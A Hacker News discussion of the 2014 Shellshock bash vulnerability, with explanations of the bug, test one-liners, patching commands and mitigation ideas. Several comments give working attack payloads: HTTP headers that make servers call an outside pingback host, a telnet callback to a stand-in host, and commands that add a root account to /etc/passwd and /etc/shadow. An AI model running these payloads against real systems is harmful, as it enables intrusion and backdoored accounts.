from Hacker News

CVE-2014-6271: Remote code execution through bash

by vault_ on 9/24/14, 2:19 PM with 416 comments

  • by daveloyall on 9/24/14, 11:28 PM

    There's some misunderstanding of how the one-liner works, so here's a writeup.

    You can break the one-liner into two lines to see what is happening.

        1. hobbes@media:~$ export badvar='() { :;}; echo vulnerable'
        2. hobbes@media:~$ bash -c "echo I am an innocent sub process in '$BASH_VERSION'"
        3. bash: warning: badvar: ignoring function definition attempt
        4. bash: error importing function definition for `badvar'
        5. I am an innocent sub process in 4.3.25(1)-release
    
    1. Create a specially crafted environment variable. Ok, it's done. But, nothing has happened!

    2. Create an innocent sub process. Bash in this case. During initialization...

    3. ...bash spots the specially formed variable (named badvar), prints a warning,

    4. ...and apparently doesn't define the function at all?

    5. But other than that, the child bash runs as expected.

    And now the same two input lines on and OLD bash:

        1. hobbes@metal:~$ export badvar='() { :;}; echo vulnerable'
        2. hobbes@metal:~$ bash -c "echo I am an innocent sub process in '$BASH_VERSION'"
        3. vulnerable
        4. I am an innocent sub process in 4.3.22(1)-release
    
    1. Create a specially crafted environment variable. Ok, it's done. But, nothing has happened!

    2. Create an innocent sub process. Bash in this case. During initialization...

    3. ...bash accidentally EXECUTES a snippet that was inside the variable named 'badvar'?!

    4. But other than that, the child bash runs as expected. Wow, I should update that machine. :)

  • by jimrandomh on 9/24/14, 3:11 PM

    If you are responsible for the security of any system, this is your immediate, drop-everything priority. The technical details of the exploit mean that new ways of exploiting it will be discovered soon. Precedent suggests that automated systematic attacks against every server on the Internet will be coming, on a time scale of hours.
  • by JoshTriplett on 9/24/14, 4:33 PM

    Is it just me, or are the patches "fixing" the vulnerability woefully insufficient? With the patch, bash stops executing the trailing code, but it still allows defining arbitrary shell functions from environment variables. So, even though the patch fixes the ability to exploit this via SSH_ORIGINAL_COMMAND or HTTP_*, anything that can set environment variables can still override an arbitrary command. (Note that privileged environments typically filter out attempts to set PATH, LD_LIBRARY_PATH, and so on.)

    This applies even if your shell script or shell snippet uses the full paths to commands. For instance:

        $ env '/sbin/foo'='() { echo exploit; }' bash -c '/sbin/foo'
        exploit
  • by andrew13 on 9/25/14, 1:22 AM

    It might still be an issue. The patches may not have done enough.

    $ env X='() { (a)=>\' sh -c "echo date"; cat echo

    https://twitter.com/taviso/status/514887394294652929#

    env X='() { (a)=>\' bash -c "echo echo vuln"; [[ "$(cat echo)" == "vuln" ]] && echo "still vulnerable :("

  • by masterleep on 9/24/14, 2:44 PM

    env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

    From https://securityblog.redhat.com/2014/09/24/bash-specially-cr...

  • by wyager on 9/24/14, 4:18 PM

    This is what happens when you have two different processes doing IPC using a human interface mechanism.

    Another huge family of vulnerabilities that exists for the same reason are SQL injection vulnerabilities. SQL was invented as a way for humans at a terminal to do database operations. However, we started using it as a way of doing IPC. The problem with using human interfaces as an IPC mechanism is that human interfaces are rarely well-defined or minimal, so it is very hard to constrain behavior to what you expect.

    The way to fix all of these bugs is to use well-defined, computer-oriented IPC mechanisms where there is a clear distinction between code and data. For example, database queries might be constructed by function call instead of string manipulation, which could pack them into a safe TLV format with no chance of malicious query injection. Generating web server content from a different language could be done via a proper FFI or message passing mechanism, rather than CGI scripts.

  • by cft on 9/24/14, 9:56 PM

    Here's how to patch Ubuntu 8.04 or anything where you have to build bash from source:

      #assume that your sources are in /src
      cd /src
      wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
      #download all patches
      for i in $(seq -f "%03g" 0 25); do wget     http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
      tar zxvf bash-4.3.tar.gz 
      cd bash-4.3
      #apply all patches
      for i in $(seq -f "%03g" 0 25);do patch -p0 < ../bash43-$i; done
      #build and install
      ./configure && make && make install
    
    
    Not sure if Ubuntu 8.04 with custom built bash will be upgradable to 10.04??
  • by agwa on 9/24/14, 3:02 PM

    It is a very good thing that Debian and Ubuntu use /bin/dash for /bin/sh by default, since /bin/sh is implicitly invoked all over the place (e.g. by system(3)). Distros which use /bin/bash for /bin/sh are gonna have a bad time.

    Edit: not implying that Debian and Ubuntu aren't affected too, just that the impact there will be lessened.

  • by kazinator on 9/24/14, 3:50 PM

    Passing executable code in environment variables is an incredibly bad idea.

    The parsing bug is a red herring; there are probably ways to exploit the feature even when it doesn't have the bug.

    The parsing bug means that the mere act of defining the function in the child bash will execute the attacker's code stored in the environment variable.

    But if this problem is closed, the issue remains that the attacker controls the environment variable; the malicious code can be put inside the function body. Even though it will not then be executed at definition time, perhaps some child or grand-child bash can be nevertheless goaded into calling the malicious function.

    Basically this is a misfeature that must be rooted out, pardon the pun.

  • by antocv on 9/24/14, 9:51 PM

    Funny, this works even after bash fix / upgrade

    env X='() { (a)=>\' sh -c "echo date"; cat e

    From http://seclists.org/oss-sec/2014/q3/672

  • by khaki54 on 9/24/14, 2:46 PM

    So I took a great unix/linux systems programming class, http://sites.fas.harvard.edu/~lib215/ where you learn about all of the system software that you take for granted. Among other things, we had to write our own shell. There is an awful lot to consider, and most of it you are just trying to get to work properly. With regard to security, you feel like you are protected for the most part because the shell resides in userland and it's basically understood that you shouldn't trust foreign shell scripts.

    Is the worry here that the code gets executed by the kernel or superuser, enabling privilege escalation? Otherwise it wouldn't be a big deal that extra code is executed by a function declaration.

  • by ck2 on 9/24/14, 3:12 PM

    http://www.csoonline.com/article/2687265/application-securit...

    Another attack surface is OpenSSH through the use of AcceptEnv variables. As well through TERM and SSH_ORIGINAL_COMMAND. An environmental variable with an arbitrary name can carry a nefarious function which can enable network exploitation.

  • by _wmd on 9/24/14, 3:38 PM

    As an example of who might be impacted, since openssh preserves the original command line passed to the ssh server when authenticating a public key that has a fixed command associated in authorized_keys, GitHub and BitBucket security teams are probably both having a really exciting day.
  • by Eclyps on 9/24/14, 6:20 PM

    Amazon's Linux distro for EC2 is still waiting for a patch.

    EDIT: Finally got things updated. Bulletin can be found here: https://alas.aws.amazon.com/ALAS-2014-418.html

    If yum isn't finding the update, try running "yum clean all" and then "yum update bash"

  • by jingo on 9/25/14, 3:52 AM

    A quick fix would be to stop using bash.

    I write hundreds of shell scripts per year and I never, ever use bash. Everything can be done with a less complex /bin/sh having only POSIX-like features.

    There's no reason webservers have to use bash by default.

    Sysadmins might need a hefty shell will lots of features in order to do their work, but an httpd should not need access to bash-isms. It should work fine with a very minimal POSIX-like shell.

    I'm glad the systems I use do not have bash installed by default. The only time I ever use it is when a software author tries to force me to use bash by writing their install scripts in it and using bash-isms so the script will not run with a simpler shell like a BSD /bin/sh.

  • by flebron on 9/24/14, 3:50 PM

    Maybe I'm doing something wrong, but I just tested it in ZSH (5.0.5, Linux) and the same vulnerable behavior seems to show up.
  • by userbinator on 9/25/14, 1:03 AM

    According to http://wiki.bash-hackers.org/syntax/basicgrammar it appears that this is because bash allows functions to be exported through environment variables into subprocesses, but the code to parse those function definitions seems to be the same used to parse regular commands (and thus execute them).

    Edit: after a brief glance over the affected code, this might not be so easy to patch completely - the actual method where everything interesting starts to take place is initialize_shell_variables in variables.c and parse_and_execute() in builtins/evalstring.c, so parsing and execution happen together; this is necessary to implement the shell grammar and is part of what makes it so powerful, but it can also be a source of vulnerabilities if it's not used carefully. I suppose one attempt at fixing this could be to separate out the function parsing code into its own function, one which can't ever cause execution of its input, and use that to parse function definitions in environment variables. This would be a pretty easy and elegant thing to do with a recursive-descent parser, but bash uses a lex/yacc-generated one to consume an entire command at once...

    However, all in all I'm not so sure this ability to export funcdefs is such a good idea - forking a subshell automatically inherits the functions in the parent, and if it's a shell that wasn't created in such a manner, if it needs function definitions it can read them itself from some other source. This "feature" also means environment variables cannot start with the string '() {' (and exactly the string '() {' - even removing the space between those characters, e.g. '(){', doesn't trigger it) without causing an error in any subprocess - violating the usual assumption that environment variables can hold any arbitrary string. It might be a rare case, but it's certainly a cause for surprise.

  • by Zweihander on 9/24/14, 2:38 PM

  • by why-el on 9/24/14, 5:25 PM

    Is someone from Heroku online here right now? My apps are all affected and since I am trusting Heroku with this, I am hoping they patch the system as soon as possible.
  • by Oculus on 9/24/14, 2:44 PM

    Have big security vulnerabilities been cropping up more often recently or does it seem that way because I've started to pay attention?
  • by h43k3r on 9/24/14, 7:55 PM

    I tested some of the sites and successfully executed some test code. One can easily google for such sites. The important thing is that, the link using which I ran the code is of a .gov site.

    This thing seriously needs to be patched asap. Update your systems now.

  • by m4r71n on 9/24/14, 3:18 PM

    Some more information was just posted to oss-sec:

    http://seclists.org/oss-sec/2014/q3/650

  • by ecze on 9/24/14, 4:04 PM

    With this bug, bash access to CiscoCallmanager is possible... Tested and working....
  • by AnimalMuppet on 9/24/14, 4:45 PM

    Off topic:

    This is why I keep coming back to HN. I've gotten an amazing amount of useful info on this very quickly. Great discussion - no trolling, no BS, just serious questions and serious answers.

  • by MBlume on 9/24/14, 7:48 PM

    I'm a bit confused about how to properly patch my mac.

    Homebrew installs upgraded bash to /usr/local/bin/bash, everyone says what I should do is run 'chsh -s /usr/local/bin/bash' but if I have a script that has a /bin/bash hashbang at the top, won't it still use the vulnerable bash install?

    I mean I guess the answer is "you're probably not hosting a publicly accessible service on your mac, who cares?", which is true in my case, but still.

  • by BenjaminCoe on 9/24/14, 6:51 PM

    Wanted to share the simple Ansible script we used to patch CVE-2014-6271 at npm: https://github.com/npm/ansible-bashpocalypse
  • by 0x0 on 9/24/14, 11:44 PM

    The currently published fix is claimed to be incomplete: https://twitter.com/taviso/status/514887394294652929
  • by peterwwillis on 9/24/14, 5:25 PM

    Know what isn't vulnerable to this? Perl CGI scripts with taint mode enabled. http://perldoc.perl.org/perlsec.html#Taint-mode

      You may not use data derived from outside your program to affect something
      else outside your program--at least, not by accident. All command line
      arguments, environment variables, locale information (see perllocale),
      results of certain system calls (readdir(), readlink(), the variable
      of shmread(), the messages returned by msgrcv(), the password,
      gcos and shell fields returned by the getpwxxx() calls), and all
      file input are marked as "tainted".
    
      Tainted data may not be used directly or indirectly in any command
      that invokes a sub-shell, nor in any command that modifies files,
      directories, or processes, with the following exceptions:
  • by _b8r0 on 9/24/14, 3:46 PM

    My OSX Mavericks install appears to be affected:

      foom:~ steve$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      vulnerable
      this is a test
  • by gwillem on 9/24/14, 8:57 PM

    This is quite stealthy way to scan, as Accept headers are generally not logged:

        curl -H 'Accept: () { :;}; /usr/bin/curl -so /dev/null http://my.pingback.com' 
    
    Found nothing so far though. IMHO the number of Bash CGI scripts in the wild must be pretty low.
  • by AntiRush on 9/24/14, 10:40 PM

    It seems like the current patch might not be a complete fix:

    http://seclists.org/oss-sec/2014/q3/671

  • by ilconsigliere on 9/24/14, 3:19 PM

    Am I wrong in thinking that seems a bit worse than Heartbleed?
  • by throwaway49152 on 9/24/14, 9:31 PM

    What would be the best way to go if using Debian 5 (lenny)?

    The only service exposed is ssh, and no one outside the company has an account. Is it still vulnerable through ssh?

  • by sauere on 9/24/14, 2:50 PM

    No update out for Ubuntu Server 14.04 yet.

    /edit: the Red Hat blog has a good overview https://securityblog.redhat.com/2014/09/24/bash-specially-cr...

  • by deathanatos on 9/25/14, 4:32 AM

    From just a functionality standpoint, how is even the patched version supposed to work? It seems to undefine the variable:

      % E='() { echo hi; }; echo cry' bash -c 'echo "-$E-"'
      bash: warning: E: ignoring function definition attempt
      bash: error importing function definition for `E'
      --
    
    Since everyone's favorite example seems to be CGI scripts, doesn't this result in the script having no variable, as opposed to just a text one? Suddenly the script can break because an expected variable is no longer present simply because the input had a certain odd looking form?

    In fact, if I wanted my variable to be a function, why wouldn't I just explicitly eval it? What's the use case at all for this functionality?

  • by dholl on 9/27/14, 5:13 AM

    I got tired of the hype. How's the following code for a mitigation?

    Basically, if some program does invoke /bin/bash, control first passes to this code which truncates suspicious environment variables. (and it dumps messages to the system log if/when it finds anything...)

    The check should match for any variety of white space:

    =(){

    =() {

    = ( ) {

    etc... but feel free to update it for whatever other stupid things bash allows.

    The code is at http://ad5ey.net/bash_shock_fix.c

    Simple usage:

    cd /bin

    gcc -std=c11 -Wall -Wextra bash_shock_fix.c -o bash_shock_fix

    mv bash bash.real

    ln -s bash_shock_fix bash

    phoenix(pts/1):~bin# ls -al bash*

    lrwxrwxrwx 1 root root 14 Sep 27 00:23 bash -> bash_shock_fix

    -rwxr-xr-x 1 root root 1029624 Sep 24 14:51 bash.real

    -rwxr-xr-x 1 root root 9555 Sep 27 00:23 bash_shock_fix

    -rw-r--r-- 1 root root 2990 Sep 27 00:23 bash_shock_fix.c

    phoenix(pts/1):~bin#

  • by jtchang on 9/24/14, 8:16 PM

    For this to happen the attacker has to control environment variables and then a bash shell is spawned.

    Lots of web stuff spawn shells setting environment variables to stuff in HTTP headers. LC_TIME with some time zone settings might be one.

  • by saurabhnanda on 9/24/14, 5:26 PM

    Am I vulnerable if using the Paperclip gem to manage file uploads on a Rails app (it internally fires up 'convert' to generate thumbnails, I believe).

    What if there is an haproxy sitting in front of the Rails app?

  • by detectify on 9/24/14, 10:05 PM

    We have added the CVE to our scanning routines and the update is now online on www.detectify.com. Test your environment for unpatched servers. In times like these it's OK to go for our free plan.
  • by detectify on 9/25/14, 12:23 PM

    We just released a complete quick-test for #shellshock here: https://shellshock.detectify.com/. It's free to use and here's the information about how the scanner works: goo.gl/8vp6eo

    Please feedback here: https://news.ycombinator.com/item?id=8366643

  • by ck2 on 9/24/14, 3:02 PM

    Has the redhat patch been pushed through centos yet?
  • by SchizoDuckie on 9/24/14, 7:55 PM

    I'm by no means an expert, but am I completely wrong if I think something like this should work on an exploitable system to get a pingback from a vulnerable system without curl ?

      curl -A "() { :; }; echo GET /pingback.php | telnet bashexploitindexer.fake 80" http://expoitablehost.com/blah.cgi
  • by piratebroadcast on 9/24/14, 5:20 PM

    My friend tried it on Heroku - It is affected.
  • by Sanddancer on 9/24/14, 6:07 PM

    Can someone with mod_security test a regex I wrote that should mitigate this? /\(.?\)\s\{.?\}\s\;/ from testing seems to catch any variants that I can think of that can trigger this bug, but I don't have a machine easily available to me at the moment to test with, unfortunately.
  • by kacy on 9/24/14, 4:29 PM

    Ubuntu has been patched, it appears. If you're on Ubuntu, try this:

    sudo apt-get update

    sudo apt-get --only-upgrade install bash

  • by mirashii on 9/24/14, 4:11 PM

    At a glance, one interesting use of this is a potential local privilege escalation on systems with a sudoers file which restrict commands which can be run to ones that include a bash script, and allow you to keep some environment variables.
  • by milankragujevic on 9/25/14, 3:14 PM

    Here's an easy to use and reliable scanner to test if your website is vulnerable. http://milankragujevic.com/projects/shellshock/
  • by kalops on 9/24/14, 2:43 PM

    so basically turn off AcceptEnv in sshd_config?
  • by vhost- on 9/24/14, 8:04 PM

    For those of us with large clusters and chef, here is a useful knife command for updating bash on debian/ubuntu systems:

    knife ssh 'name:*' 'sudo apt-get update && sudo apt-get install -y --only-upgrade bash'

  • by rurban on 9/25/14, 2:35 AM

    What I'm really worried about now is every single cable modem and router out there, as they are very rarely updated. They run their shit for years. The bigger routers yes, but smaller ones and the modems not.
  • by super_mario on 9/24/14, 6:59 PM

    Interestingly enough ancient BASH version 3.2 on Mac OS X 10.9.5 is not vulnerable:

        $ echo $BASH_VERSION
        3.2.51(1)-release
        $ x='() { :;}; echo vulnerable' bash -c "echo this is a test"
        bash: warning: x: ignoring function definition attempt
        bash: error importing function definition for `x'
        this is a test
        $
    
    I manually patched my BASH 4.3 to patch level 25 so it's not vulnerable either.

        $ echo $BASH_VERSION
        4.3.25(1)-release
        $ x='() { :;}; echo vulnerable' bash -c "echo this is a test"
        bash: warning: x: ignoring function definition attempt
        bash: error importing function definition for `x'
        this is a test
        $
  • by emmelaich on 9/26/14, 9:43 AM

    So proud of myself; my Python has env={} in the call to Popen().

    The ultimate whitelist.

    And they're executed with sudo but sudo empties out env vars with functions in them on the machines I use. Oldest is RHEL5.

  • by snissn on 9/24/14, 7:15 PM

    Here is a very simple proof of concept that helped me understand the vulnerability:

      bash-3.2$ anyvariable='() { true; }; echo foo' bash
      foo
  • by ITGabs on 9/27/14, 5:05 PM

    env x='() { :;}; echo "johndoe:x:0:0::/root:/bin/sh" >>/etc/passwd' bash -c "echo this is just a test"

    env x='() { :;}; echo "johndoe:\$6\$eM5eLwRC\$eZhb4x7sf1ctGjN1fXrpsusRHRKTHf/E15OA2Nr4TdTF9F0SS4ousy3WrPCI2ofdNoAonRnNPQ7Ja3FQ/:15997:0:99999:7:::" >>/etc/shadow' bash -c "echo this is just a test"

    Hacked!!

    but this only work from root :/ and johndoe xD

  • by jacksoncage on 9/24/14, 8:18 PM

    Saved a lot of time again today with salt! $ salt * pkg.install bash refresh=True and then check for right version $ salt * pkg.version bash
  • by jamiepenney on 9/25/14, 12:32 AM

    Looks like Raspian have updated their bash package with the fix, so my Raspberry Pi is safe.
  • by javert on 9/24/14, 4:20 PM

    So if a machine is not running a web server, does that mean that machine is not vulnerable?
  • by FranOntanaya on 9/24/14, 6:15 PM

    Saucy wasn't patched by the time I did a do-release-upgrade a while ago.
  • by pbrumm on 9/24/14, 6:27 PM

    Don't forget to update your docker containers and restart them.
  • by mmagin on 9/24/14, 5:57 PM

    The patch: ftp://ftp.cwru.edu/pub/bash/bash-4.3-patches/bash43-025
  • by jdimov on 9/24/14, 6:40 PM

    All the explanations of why this is bad seem to involve CGI. Didn't the CGI interface die in the 90's? Who uses that nowadays?
  • by korzun on 9/24/14, 3:06 PM

    FreeBSD appears to be affected.
  • by piratebroadcast on 9/24/14, 5:16 PM

    Someone please ELI5 (Explain Like I'm 5)?
  • by piratebroadcast on 9/24/14, 5:41 PM

    Free BashBleed logo for tech journalists - http://i.imgur.com/ilJbM74.png
  • by zobzu on 9/24/14, 3:21 PM

    I have a feeling this is blown out of proportion. Who's running bash setuid exactly? Right. Who's running shell CGIs today? Right.

    So.. who has an example of common scripts that are executed remotely in most servers while accepting remote environment? Til then, the panic seems unjustified...